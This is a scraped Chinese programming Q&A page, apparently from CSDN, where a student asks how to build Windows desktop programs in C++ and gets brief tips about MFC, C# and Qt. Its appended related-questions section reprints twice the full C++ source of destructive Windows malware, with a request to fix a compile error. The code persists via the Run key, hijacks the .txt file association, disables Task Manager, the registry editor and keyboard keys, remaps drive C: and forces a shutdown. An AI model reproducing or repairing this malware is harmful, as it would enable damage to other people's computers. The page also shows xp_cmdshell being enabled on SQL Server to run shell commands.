c++创建windows桌面程序???

学生。
自学了c,c++基础知识以及数据结构,计算机组成原理。
现在正在看操作系统。
但是只会写一些控制台,或者文件操作的一些源码,就只是一个黑框框。
想用vs创建一个完整的应用程序,就像平时在电脑上下载那些软件一样,当然了功能先不论,但完全不知道怎么入手。
现在还应该学习什么,需要有什么书籍?

4个回答

可以学习下mfc

参考我之前的回答

https://ask.csdn.net/questions/756748
https://ask.csdn.net/questions/756939

还有问题,欢迎开新问题提问,只要你采纳,都可以回答你

看到lz之前所有的问题都没有采纳,这样的话,以后就不能再回答你了。

下个vc6.0 ,用mfc,个人感觉界面不是很好看,你可以学下c#,下个vs2015功能比较强大,学起来也不难。

直接学一下qt框架就可以了

用VC-MFC可以创建C++应用程序,可以创建Windows风格的界面,包括WEB界面。

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
c++创建windows桌面程序???

学生。 自学了c,c++基础知识以及数据结构,计算机组成原理。 现在正在看操作系统。 但是只会写一些控制台,或者文件操作的一些源码,就只是一个黑框框。 想用vs创建一个完整的应用程序,就像平时在电脑上下载那些软件一样,当然了功能先不论,但完全不知道怎么入手。 现在还应该学习什么,需要有什么书籍?

Windows程序设计,运行出的窗口不能关闭、拖动、拉大缩小。求大神指点问题所在

#include<windows.h> LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM ); int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int nCmdShow) { HWND hwnd; MSG msg;//消息 WNDCLASS wc; //1设计一个窗口类 wc.style=0;//窗口的样式 wc.lpfnWndProc=(WNDPROC)WndProc;//告诉这个窗口的窗口过程函数名称 wc.cbClsExtra=0;//窗口类额外的数据暂时不用考虑 wc.cbWndExtra=0;//窗口额外的数据暂时不用考虑 wc.hInstance=hInstance;//当前实例的实例句柄 wc.hIcon=LoadIcon(NULL,IDI_WINLOGO);//窗口的图标的样式 wc.hCursor=LoadCursor(NULL,IDC_ARROW);//鼠标的样式 wc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);//背景颜色 wc.lpszMenuName=NULL;//是否有菜单 wc.lpszClassName=TEXT("My WndClass");//窗口类的名字 //2注册窗口类 RegisterClass(&wc); //3创建窗口 hwnd=CreateWindow(TEXT("My WndClass"),//窗口了类名字 TEXT("标题"),//创建的窗口标题 WS_OVERLAPPEDWINDOW,//窗口的样式 CW_USEDEFAULT,//窗口的x坐标 CW_USEDEFAULT,//窗口的y坐标 CW_USEDEFAULT,//窗口的长 CW_USEDEFAULT,//窗口的宽 NULL,//父窗口 NULL,//窗口菜单句柄 hInstance,//当前实例的实例句柄 NULL//暂时不用的参数 ); //4显示和更新窗口 ShowWindow(hwnd,nCmdShow);//显示窗口 UpdateWindow(hwnd);//更新窗口 //5消息循环 while(GetMessage(&msg,NULL,0,0)); { TranslateMessage(&msg);//翻译消息 DispatchMessage(&msg);//转发消息到窗口过程WndProc } return msg.wParam; } LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam) { switch(message) { case WM_PAINT: return 0; case WM_DESTROY: PostQuitMessage(0); return 0; default: return DefWindowProc(hwnd,message,wParam,lParam); } return 0; }

可以将Go与其他语言混合以创建桌面应用程序吗? [关闭]

<div class="post-text" itemprop="text"> <p>I know it's possible to <a href="http://golang.org/cmd/cgo/" rel="nofollow">mix C with Go</a>, but I was wondering if it was possible to mix with other languages too. Specifically, I was wondering if it was possible to write a backend in Go and then use Swift or C# to make a GUI for a desktop app.</p> <p>Also, is it common to build apps like that? What are the performance costs like? The goal is to write a cross-platform backend, then use native platform tools to create the GUI. So, I would use Swift and Cocoa to make a GUI for OS X and C# and .NET to make a GUI for Windows. That way the applications behave and feel like native apps.</p> </div>

如何讲一段C++代码放入C#的windows窗体应用程序中做可视化界面

光纤铺设问题 我想用c#做张地图在上面画出最优铺设线路,C#画图我会,C++部分代码也完成了 我只是需要如何把C++代码放入C#中 。。。。不知道我的表达清不清晰 #include <stdio.h> #include<string.h> #include<malloc.h> #include<limits.h> #include<stdlib.h> #include<windows.h> #define STATUS int #define OK 1 #define ERROR 0 #define INFINITY INT_MAX #define VERTEX_NUM 13 char a[VERTEX_NUM][20]={"信息楼","网络中心","图书馆","理学院","国际交流学院","体育馆","采矿馆","冶金馆","大成教学馆","综合楼","逸夫楼","何世礼教学馆","汉卿会堂"}; //建筑数组 typedef struct ArcCell { int distance; bool pushe;//是否铺设的bool型变量 }ArcCell,DisMatrix[VERTEX_NUM][VERTEX_NUM]; typedef struct { char* name; }VertexType; typedef struct { VertexType vexs[VERTEX_NUM]; DisMatrix dist; int vexnum; }MGraph;//图结构 typedef struct { int adj; }NODE;//堆排序数组 NODE Heap[25]; typedef struct UFSet { int x; int y; }UFSet;//并查集结构体 typedef struct { string name; double x,y; }Building; UFSet set[25]; int rank[VERTEX_NUM]; int father[VERTEX_NUM]; STATUS ShowAllGraph(MGraph &G);//显示所有线路分布 STATUS CreateGraph(MGraph &G);//创建校园节点图 STATUS MiniSpanTree_KRUSCAL2(MGraph &G);//最小生成树KR2 void heapsort(int n);//排序 void Heapadjust(int i, int n);//调节大顶堆 void MakeSet(int x);//初始化并查集 int Find_set(int x);//查找父节点 void Uion_set(int x, int y); void showMap(MGraph &G); int menu(); STATUS ShowDist(int a,int b,MGraph &G) { printf("%s--%s(%d)\n",G.vexs[a],G.vexs[b],G.dist[a][b].distance); return OK; } STATUS ShowAllGraph(MGraph &G)//显示所有节点及线路 { int i,j; for(i=0;i<VERTEX_NUM;i++) { for (j=i+1;j<VERTEX_NUM;j++) { if (G.dist[i][j].distance!=INFINITY) ShowDist(i,j,G); } } return OK; } void heapsort(int n)//排序 { int i,e; for(i=(n-1)/2;i>=0;--i) { Heapadjust(i,n); } for(i=n-1;i>=1;--i) { e=Heap[0].adj; Heap[0].adj=Heap[i].adj; Heap[i].adj=e; Heapadjust(0,i-1); } } void Heapadjust(int s, int m)//调节大顶堆 { int j; int e=Heap[s].adj; for(j=2*s;j<=m;j*=2) { if(j<m&&Heap[j].adj<Heap[j+1].adj) ++j; if(e>=Heap[j].adj) break; Heap[s].adj=Heap[j].adj; s=j; } Heap[s].adj=e; } void MakeSet(int x)//初始化并查集 { father[x]=x; rank[x]=0; } int Find_set(int x)//查找父节点 { if (x != father[x]) { father[x] = Find_set(father[x]); } return father[x]; } void Uion_set(int x, int y) { if (x == y) return; if (rank[x] > rank[y]) { father[y] = x; } else { if (rank[x] == rank[y]) { rank[y]++; } father[x] = y; } } STATUS CreateGraph(MGraph &G)//创建一个图 { int i,j,k; G.vexnum =VERTEX_NUM; for( i=0;i<VERTEX_NUM;i++) { G.vexs[i].name=a[i]; } for(i=0;i<VERTEX_NUM;i++) { for (j=0;j<VERTEX_NUM;j++) { G.dist[i][j].distance=INFINITY; G.dist[i][j].pushe=false; } } G.dist[0][1].distance=103; G.dist[0][2].distance=113; G.dist[0][4].distance=170; G.dist[1][2].distance=115; G.dist[1][3].distance=128; G.dist[2][3].distance=105; G.dist[2][4].distance=154; G.dist[2][6].distance=165; G.dist[2][7].distance=288; G.dist[2][9].distance=271; G.dist[3][9].distance=240; G.dist[3][11].distance=247; G.dist[3][12].distance=229; G.dist[4][5].distance=159; G.dist[4][6].distance=97; G.dist[5][6].distance=182; G.dist[6][7].distance=151; G.dist[7][8].distance=156; G.dist[7][9].distance=173; G.dist[8][9].distance=170; G.dist[8][10].distance=354; G.dist[9][10].distance=224; G.dist[9][11].distance=153; G.dist[10][11].distance=73; G.dist[11][12].distance=267; for(i=0;i<VERTEX_NUM;i++) { for (j=i+1;j<VERTEX_NUM;j++) { if (G.dist[i][j].distance!=INFINITY) G.dist[j][i].distance=G.dist[i][j].distance; } } return OK; } STATUS MiniSpanTree_KRUSCAL2(MGraph &G)//最小生成树KR2 { int i,j,k,m,n,x,y,z,a,b,c,d; k=0; m=0; z=0; for(i=0;i<G.vexnum;i++) { for(j=i;j<G.vexnum;j++) { if(G.dist[i][j].distance!=INFINITY) { Heap[k].adj=G.dist[i][j].distance; k++; } } } for(i=0;i<G.vexnum;i++) { for(j=i;j<G.vexnum;j++) { if(G.dist[i][j].distance!=INFINITY) { set[z].x=i; set[z].y=j; z++; } } } for(a=0;a<G.vexnum;a++) { MakeSet(a); } heapsort(k); while(m<25) { for(i=0;i<G.vexnum;i++) { for(j=i;j<G.vexnum;j++) { if(Heap[m].adj==G.dist[i][j].distance) { x=i; y=j; d=0; while(d<25) { if(set[d].x==x&&set[d].y==y) { b=Find_set(set[d].x); c=Find_set(set[d].y); if(b==c) { Heap[m].adj=0; } else { Uion_set(b, c); } } d++; } m++; } } } } heapsort(k); return 0; } void showMap(MGraph &G) { int i,j,k,x,y; k=0; while(Heap[k].adj==0) { k++; } while(k<25) { for(i=0;i<G.vexnum;i++) { for(j=i;j<G.vexnum;j++) { if(Heap[k].adj==G.dist[i][j].distance) { x=i; y=j; printf("%s--%s(%d)",G.vexs[x].name,G.vexs[y].name,Heap[k].adj); printf("\n"); k++; } } } } } int menu() { char i; printf(" ***************************************************************\n"); printf(" ***************************************************************\n"); printf(" 1.显示东大楼距 \n"); printf(" 2.克鲁斯卡尔二 \n"); printf(" 3.退出 \n"); printf(" ***************************************************************\n"); printf(" ***************************************************************\n"); return 0; } int main() { MGraph G; int i; CreateGraph(G); while(1) { menu(); printf("Please press[1,2,3]to chose:"); scanf_s("%d",&i); switch(i) { case 1: ShowAllGraph(G); break; case 2: MiniSpanTree_KRUSCAL2(G); showMap(G); break; case 3: return 0; } } }

用C++编写程序实现记事本的简单功能并生成文件

编写一个记事本,可以输入输出复制粘贴删除修改,并且能够保存为文件。

关于VS C# WinForm 下Application.StartupPath的疑惑

编写的程序在封装后,安装下测试机内,安装程序把程序安装在“C:\Program Files (x86)\公司名\软件名”下,程序启动时需要检查是否存在数据库文件“DATA.DB”,路径使用了“Application.StartupPath\data.db”来查找,如果不存在,则新建,还是用这个路径建立,但是新建“DATA.DB”时保存在了: C:\Users\用户名\AppData\Local\VirtualStore\Program Files (x86)\公司名\软件名\data.db 测试1:把安装后的程序目录复制到桌面,目录里没有data.db,打开程序,在桌面的程序目录里自动建立data.db; 测试2:把安装后的程序目录更名为“软件名1”,启动程序,“DATA.DB”自动建立在: C:\Users\用户名\AppData\Local\VirtualStore\Program Files (x86)\公司名\软件名1\data.db 证明:在“C:\Program Files (x86)”里的程序使用“Application.StartupPath”创建文件时都会保存在“C:\Users\用户名\AppData\Local\VirtualStore\Program Files (x86)\公司名\软件名”下。 百度: 這是虛擬轉儲,用途是如果應用程序沒有系統目錄的寫入權限,但是需要寫入文件時,系統就會把文件就會轉存到這裡,然後騙程序說存進去了,UAC就算關閉,這個功能也仍然存在(Windows目錄下的文件一律轉儲),這是爲了多用戶考慮的(任何用戶不能隨便修改系統關鍵目錄的文件). 测试3:用管理员身份启动程序,的确在“C:\Program Files (x86)\公司名\软件名”建立了数据库 疑问:测试3成功,但每次都要弹出UAC警告,由于要发送给多用户,不想说服多用户半闭UAC,怎么处理?

用VS2005新建的MFC智能设备应用程序空白项目,为什么编译会出错?请大神解答

1>------ 已启动生成: 项目: 0001, 配置: Debug HPC-3000 (ARMV4I) ------ 1>正在编译... 1>stdafx.cpp 1>C:\Program Files (x86)\Windows CE Tools\wce600\HPC-3000\include\ARMV4I\malloc.h(45) : error C2143: syntax error : missing ',' before '*' 1>D:\Program Files (x86)\Microsoft Visual Studio 8\VC\ce\atlmfc\include\atltime.h(402) : error C3861: 'wcsftime': identifier not found 1>D:\Program Files (x86)\Microsoft Visual Studio 8\VC\ce\atlmfc\include\atltime.h(429) : error C3861: 'wcsftime': identifier not found 1>D:\Program Files (x86)\Microsoft Visual Studio 8\VC\ce\atlmfc\include\atlcomtime.h(367) : error C3861: 'wcsftime': identifier not found 1>生成日志保存在“file://f:\桌面\0001\0001\HPC-3000 (ARMV4I)\Debug\BuildLog.htm” 1>0001 - 4 个错误,0 个警告 ========== 生成: 0 已成功, 1 已失败, 0 最新, 0 已跳过 ========== ========== 部署: 0 已成功, 0 已失败, 0 已跳过 ==========

想通过sql server xp_cmdshell重启系统,但提示A required privilege is not held by the clie

![图片说明](https://img-ask.csdn.net/upload/201901/07/1546864654_596501.jpg) 最近有几台工控机里的程序出问题,导致windows远程桌面无法访问,如果不能远程重启系统就需要去现场处理,有点麻烦。 现在这台工控机是Windows xp系统,IP可以Ping通,Sql server还能使用sql managrment studio远程连接,所以想通过Sql server 的XP_cmdshell来调用 shutdown -r -f重启工控机, 但估计是这台工控机里的sql服务启动账号是Netservice的原因,执行时提示访问拒绝 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; exec sp_configure exec xp_cmdshell 'shutdown.exe -r -f -t 0 ' 使用sp_oacrate顺利创建了一个restart.bat批处理文件,但调用也不成功 exec sp_configure 'Ole Automation Procedures', 1 reconfigure Declare @o int,@f int,@t int,@ret int; Exec sp_oacreate 'scripting.filesystemobject',@o out; Exec sp_oamethod @o,'createtextfile',@f out,'d:\restart.bat',1; Exec @ret=sp_oamethod @f,'writeline',null,'c:\windows\system32\shutdown.exe -r -f -t 0'; exec xp_cmdshell 'dir d:\restart.bat' 或者想使用xp_cmdshell 调用taskkill /f /im t3ds1.0.exe 杀掉引起远程桌面无法使用的程序,也提示无权限。 请大神们指点迷津,谢谢!

安装出现警告,但是安装完成了。求大佬帮帮忙

安装出现问题。 可通过以下方式排查包故障问题: 1. 使用以下搜索 URL 来搜索针对每个包故障的解决方案 2. 针对受与影响的工作负荷或组件修改选项,然后重新尝试安装 3. 从计算机上删除产品,然后再次安装 如果 Developer Community 上已报告了此问题,则可在此处找到解决方案或变通方法。如果未报告此问题,我们鼓励你创建新问题,以便其他开发者可以找到解决方案或变通方法。可使用“提供反馈”按钮从右上角的 Visual Studio 安装程序中创建新问题。 ================================================================================ 未能安装包“Microsoft.VisualC.Redist.12,version=12.0.30501,chip=x86”。 搜索 URL https://aka.ms/VSSetupErrorReports?q=PackageId=Microsoft.VisualC.Redist.12;PackageAction=Install;ReturnCode=3 详细信息 已执行的命令: "C:\学习\Visual Studio2017\Microsoft.VisualC.Redist.12,version=12.0.30501,chip=x86\vcredist_x86.exe" /q /norestart /log "C:\Users\86155\AppData\Local\Temp\dd_setup_20190507201400_301_Microsoft.VisualC.Redist.12.log" 返回代码: 3 返回代码详细信息: 系统找不到指定的路径。 日志 C:\Users\86155\AppData\Local\Temp\dd_setup_20190507201400_301_Microsoft.VisualC.Redist.12.log 工作负荷受到影响 使用 C++ 的游戏开发 (Microsoft.VisualStudio.Workload.NativeGame,version=15.9.28307.102) 使用 C++ 的桌面开发 (Microsoft.VisualStudio.Workload.NativeDesktop,version=15.9.28307.102) 组件受到影响 Unreal Engine 安装程序 (Component.Unreal,version=15.8.27729.1) Visual Studio Android 的 Unreal Engine 支持 (Component.Unreal.Android,version=15.9.28307.341) Windows 8.1 SDK (Microsoft.VisualStudio.Component.Windows81SDK,version=15.6.27406.0) Windows 8.1 SDK 和 UCRT SDK (Microsoft.VisualStudio.ComponentGroup.NativeDesktop.Win81,version=15.6.27406.0) -------------------------------------------------------------------------------- 未能安装包“Win10SDK_10.0.17763,version=10.0.17763.2”。 搜索 URL https://aka.ms/VSSetupErrorReports?q=PackageId=Win10SDK_10.0.17763;PackageAction=Install;ReturnCode=-2147024893 详细信息 已执行的命令: "C:\学习\Visual Studio2017\Win10SDK_10.0.17763,version=10.0.17763.2\winsdkinstaller.exe" SetupExe=winsdksetup.exe LogFile="C:\Users\86155\AppData\Local\Temp\dd_setup_20190507201400_412_Win10SDK_10.0.17763.log" SetupLogFolder=windowssdk CeipSetting="on" ProgramFilesOrSharedDriveSdkPath="C:\\Windows Kits\10" SetupParameters="/features OptionId.AvrfExternal OptionId.UWPManaged OptionId.WindowsSoftwareLogoToolkit OptionId.SigningTools OptionId.UWPLocalized OptionId.UWPCPP OptionId.DesktopCPPx64 OptionId.DesktopCPPx86 OptionID.DesktopCPPARM OptionID.DesktopCPPARM64 OptionId.MSIInstallTools /quiet /norestart" 返回代码: -2147024893 返回代码详细信息: 系统找不到指定的路径。 日志 C:\Users\86155\AppData\Local\Temp\dd_setup_20190507201400_412_Win10SDK_10.0.17763.log 工作负荷受到影响 使用 C++ 的游戏开发 (Microsoft.VisualStudio.Workload.NativeGame,version=15.9.28307.102) 使用 C++ 的桌面开发 (Microsoft.VisualStudio.Workload.NativeDesktop,version=15.9.28307.102) 使用 JavaScript 的移动开发 (Microsoft.VisualStudio.Workload.WebCrossPlat,version=15.9.28307.341) 通用 Windows 平台开发 (Microsoft.VisualStudio.Workload.Universal,version=15.9.28307.102) 组件受到影响 Windows 10 SDK (10.0.17763.0) (Microsoft.VisualStudio.Component.Windows10SDK.17763,version=15.9.28307.102) 通用 Windows 平台工具 (Microsoft.VisualStudio.Component.UWP.Support,version=15.9.28119.51) 用于 CMake 的 Visual C++ 工具 (Microsoft.VisualStudio.Component.VC.CMake.Project,version=15.9.28307.102) 用于 Cordova 的通用 Windows 平台工具 (Microsoft.VisualStudio.ComponentGroup.UWP.Cordova,version=15.9.28307.102) 用于 Xamarin 的通用 Windows 平台工具 (Microsoft.VisualStudio.ComponentGroup.UWP.Xamarin,version=15.9.28307.102) 求大佬帮助.真心感谢。 我已经试过卸载重新安装软件了,但是还是一样报错。

病毒程序编译时出现错误

``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <Windows.h> #include <time.h> #include <tchar.h> #include <shlobj.h> //SHGetSpecialFolderPath()所属头文件 #include <iostream> #include <UrlMon.h> #pragma comment(lib,"urlmon.lib") //病毒的增殖模块,产生垃圾文件,要实现无限增殖只需要在主函数加一个循环 void Reproduce() { char name_str[100] = {}; int name; srand((unsigned)time(NULL)); //随机数种子 name = rand() % 1024; _itoa(name, name_str, 16); //将随机数转化成字符串 TCHAR szpath[MAX_PATH]; GetModuleFileName(NULL, szpath, MAX_PATH); //获取当前执行程序的路径 char target[100] = {}; TCHAR Destop[MAX_PATH]; SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); //获取桌面绝对路径 strcat(target, Destop); strcat(target, "\\"); strcat(target, name_str); strcat(target, ".exe"); CopyFile(szpath, target, FALSE); //为增殖产生的文件创建进程 //STARTUPINFO si = { 0 }; //si.cb = sizeof(si); //PROCESS_INFORMATION pi; //CreateProcess(target, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); } //注册表修改实现开机自启动,同时在系统文件目录下创建拷贝文件 void RegKeyStart() { char str[MAX_PATH]; GetModuleFileName(NULL, str, MAX_PATH); char SystemPath[512]; GetSystemDirectory(SystemPath, sizeof(SystemPath)); //获取系统目录路径 strcat(SystemPath, "\\explore.exe"); CopyFile(str, SystemPath, false); DWORD len; HKEY hkey; len = strlen(SystemPath); RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); RegSetValueEx(hkey, SystemPath, 0, REG_SZ, (unsigned char *)SystemPath, len); RegCloseKey(hkey); /*创建代码实现文件关联,也就是只要打开txt文件就执行当前用户程序,使用txt方式触发 */ LPCTSTR data_set = "txtfile\\shell\\open\\command"; RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey); RegSetValueEx(hkey, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)SystemPath, len); RegCloseKey(hkey); } //注册表修改实现禁用管理器 void RegTaskmanagerForbidden() { HKEY hkey; DWORD v = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD)); RegCloseKey(hkey); } //注册表修改实现禁用注册表编辑器 void RegEditForbidden() { HKEY hkey; DWORD v = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD)); RegCloseKey(hkey); } //注册表修改实现更换桌面背景 void RegModifyBackroud() { DWORD v = 1; char str[MAX_PATH]; GetModuleFileName(NULL, str, MAX_PATH); strcat(str, "hacked.jpg"); URLDownloadToFile(NULL, "http://utbblogs.com/wp-content/uploads/2015/01/hacked.jpg", str, 0, 0); HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)str, sizeof(str)); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD)); } //注册表修改屏蔽用户键盘输入 void RegKeyBoardForbidden() { HKEY hkey; char scancodemap[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00" "\x02\x00\x10\x00" "\x02\x00\x11\x00" "\x02\x00\x12\x00" "\x02\x00\x13\x00" "\x02\x00\x14\x00" "\x02\x00\x15\x00" "\x02\x00\x16\x00" "\x02\x00\x17\x00" "\x02\x00\x18\x00" "\x02\x00\x19\x00" "\x02\x00\x1E\x00" "\x02\x00\x1F\x00" "\x02\x00\x20\x00" "\x02\x00\x21\x00" "\x02\x00\x22\x00" "\x02\x00\x23\x00" "\x02\x00\x24\x00" "\x02\x00\x25\x00" "\x02\x00\x26\x00" "\x02\x00\x2C\x00" "\x02\x00\x2D\x00" "\x02\x00\x2E\x00" "\x02\x00\x2F\x00" "\x02\x00\x30\x00" "\x02\x00\x31\x00" "\x02\x00\x32\x00" "\x00\x00\x00\x00"; RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout", &hkey); RegSetValueEx(hkey, "Scancode Map", 0, REG_BINARY, (LPBYTE)scancodemap, 120);//scancodemap数组长度为120字节 RegCloseKey(hkey); } BOOL DeleteDrive(TCHAR *SThide) { if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, "")) return false; else return true; } int main(int argc, char* argv) { //FreeConsole(); HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄 ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口 //以下代码用于检测任务管理器是否被禁用 BOOL Revised=0; HKEY hkey; long ret0, ret1; LPCTSTR data_set = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"; LPCTSTR psName = "DisableTaskMgr"; TCHAR ValueInfo[100]; DWORD cType; DWORD ValueSize = sizeof(ValueInfo); ret0 = RegOpenKeyEx(HKEY_CURRENT_USER, data_set, 0, KEY_READ, &hkey); ret1 = RegQueryValueEx(hkey, psName, NULL, &cType, (LPBYTE)ValueInfo, &ValueSize); if (ret0!=ERROR_SUCCESS||ret1 != ERROR_SUCCESS) { printf("not Revised!\n"); Revised = 0; } else if (!strcmp(ValueInfo, "\x01\x00\x00\x00")) { Revised = 1; } else { Revised = 0; } RegCloseKey(hkey); if (!Revised) //如果任务管理器没有被禁用执行如下操作 { RegKeyStart(); RegTaskmanagerForbidden(); RegEditForbidden(); RegModifyBackroud(); //修改桌面背景 RegKeyBoardForbidden(); //修改注册表屏蔽用户键盘输入 Sleep(5000); if (DeleteDrive("C:")) MessageBox(NULL, "破坏盘符成功!", "Error", MB_OK); DefineDosDevice(DDD_RAW_TARGET_PATH, "F:", "//??//C://winnt"); system("title 警告"); system("shutdown -f -s -t 10 -c ""计算机将于60秒内强制关机!"""); } else { printf("task manager has been forbidden!\n"); } int i; for (i = 0; i < 30; i++) { Reproduce(); //产生垃圾文件,恶意增殖 Sleep(1000); } ``` 第178行出现错误 为什么会这样?怎么改正

病毒程序编译时出现错误?

``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <Windows.h> #include <time.h> #include <tchar.h> #include <shlobj.h> //SHGetSpecialFolderPath()所属头文件 #include <iostream> #include <UrlMon.h> #pragma comment(lib,"urlmon.lib") //病毒的增殖模块,产生垃圾文件,要实现无限增殖只需要在主函数加一个循环 void Reproduce() { char name_str[100] = {}; int name; srand((unsigned)time(NULL)); //随机数种子 name = rand() % 1024; _itoa(name, name_str, 16); //将随机数转化成字符串 TCHAR szpath[MAX_PATH]; GetModuleFileName(NULL, szpath, MAX_PATH); //获取当前执行程序的路径 char target[100] = {}; TCHAR Destop[MAX_PATH]; SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE); //获取桌面绝对路径 strcat(target, Destop); strcat(target, "\\"); strcat(target, name_str); strcat(target, ".exe"); CopyFile(szpath, target, FALSE); //为增殖产生的文件创建进程 //STARTUPINFO si = { 0 }; //si.cb = sizeof(si); //PROCESS_INFORMATION pi; //CreateProcess(target, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); } //注册表修改实现开机自启动,同时在系统文件目录下创建拷贝文件 void RegKeyStart() { char str[MAX_PATH]; GetModuleFileName(NULL, str, MAX_PATH); char SystemPath[512]; GetSystemDirectory(SystemPath, sizeof(SystemPath)); //获取系统目录路径 strcat(SystemPath, "\\explore.exe"); CopyFile(str, SystemPath, false); DWORD len; HKEY hkey; len = strlen(SystemPath); RegCreateKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); RegSetValueEx(hkey, SystemPath, 0, REG_SZ, (unsigned char *)SystemPath, len); RegCloseKey(hkey); /*创建代码实现文件关联,也就是只要打开txt文件就执行当前用户程序,使用txt方式触发 */ LPCTSTR data_set = "txtfile\\shell\\open\\command"; RegOpenKeyEx(HKEY_CLASSES_ROOT, data_set, 0, KEY_WRITE, &hkey); RegSetValueEx(hkey, NULL, NULL, REG_EXPAND_SZ, (unsigned char *)SystemPath, len); RegCloseKey(hkey); } //注册表修改实现禁用管理器 void RegTaskmanagerForbidden() { HKEY hkey; DWORD v = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD)); RegCloseKey(hkey); } //注册表修改实现禁用注册表编辑器 void RegEditForbidden() { HKEY hkey; DWORD v = 1; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD)); RegCloseKey(hkey); } //注册表修改实现更换桌面背景 void RegModifyBackroud() { DWORD v = 1; char str[MAX_PATH]; GetModuleFileName(NULL, str, MAX_PATH); strcat(str, "hacked.jpg"); URLDownloadToFile(NULL, "http://utbblogs.com/wp-content/uploads/2015/01/hacked.jpg", str, 0, 0); HKEY hkey; RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey); RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)str, sizeof(str)); RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD)); } //注册表修改屏蔽用户键盘输入 void RegKeyBoardForbidden() { HKEY hkey; char scancodemap[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00" "\x02\x00\x10\x00" "\x02\x00\x11\x00" "\x02\x00\x12\x00" "\x02\x00\x13\x00" "\x02\x00\x14\x00" "\x02\x00\x15\x00" "\x02\x00\x16\x00" "\x02\x00\x17\x00" "\x02\x00\x18\x00" "\x02\x00\x19\x00" "\x02\x00\x1E\x00" "\x02\x00\x1F\x00" "\x02\x00\x20\x00" "\x02\x00\x21\x00" "\x02\x00\x22\x00" "\x02\x00\x23\x00" "\x02\x00\x24\x00" "\x02\x00\x25\x00" "\x02\x00\x26\x00" "\x02\x00\x2C\x00" "\x02\x00\x2D\x00" "\x02\x00\x2E\x00" "\x02\x00\x2F\x00" "\x02\x00\x30\x00" "\x02\x00\x31\x00" "\x02\x00\x32\x00" "\x00\x00\x00\x00"; RegCreateKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Keyboard Layout", &hkey); RegSetValueEx(hkey, "Scancode Map", 0, REG_BINARY, (LPBYTE)scancodemap, 120);//scancodemap数组长度为120字节 RegCloseKey(hkey); } BOOL DeleteDrive(TCHAR *SThide) { if (!DefineDosDevice(DDD_RAW_TARGET_PATH, SThide, "")) return false; else return true; } int main(int argc, char* argv) { //FreeConsole(); HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄 ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口 //以下代码用于检测任务管理器是否被禁用 BOOL Revised=0; HKEY hkey; long ret0, ret1; LPCTSTR data_set = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"; LPCTSTR psName = "DisableTaskMgr"; TCHAR ValueInfo[100]; DWORD cType; DWORD ValueSize = sizeof(ValueInfo); ret0 = RegOpenKeyEx(HKEY_CURRENT_USER, data_set, 0, KEY_READ, &hkey); ret1 = RegQueryValueEx(hkey, psName, NULL, &cType, (LPBYTE)ValueInfo, &ValueSize); if (ret0!=ERROR_SUCCESS||ret1 != ERROR_SUCCESS) { printf("not Revised!\n"); Revised = 0; } else if (!strcmp(ValueInfo, "\x01\x00\x00\x00")) { Revised = 1; } else { Revised = 0; } RegCloseKey(hkey); if (!Revised) //如果任务管理器没有被禁用执行如下操作 { RegKeyStart(); RegTaskmanagerForbidden(); RegEditForbidden(); RegModifyBackroud(); 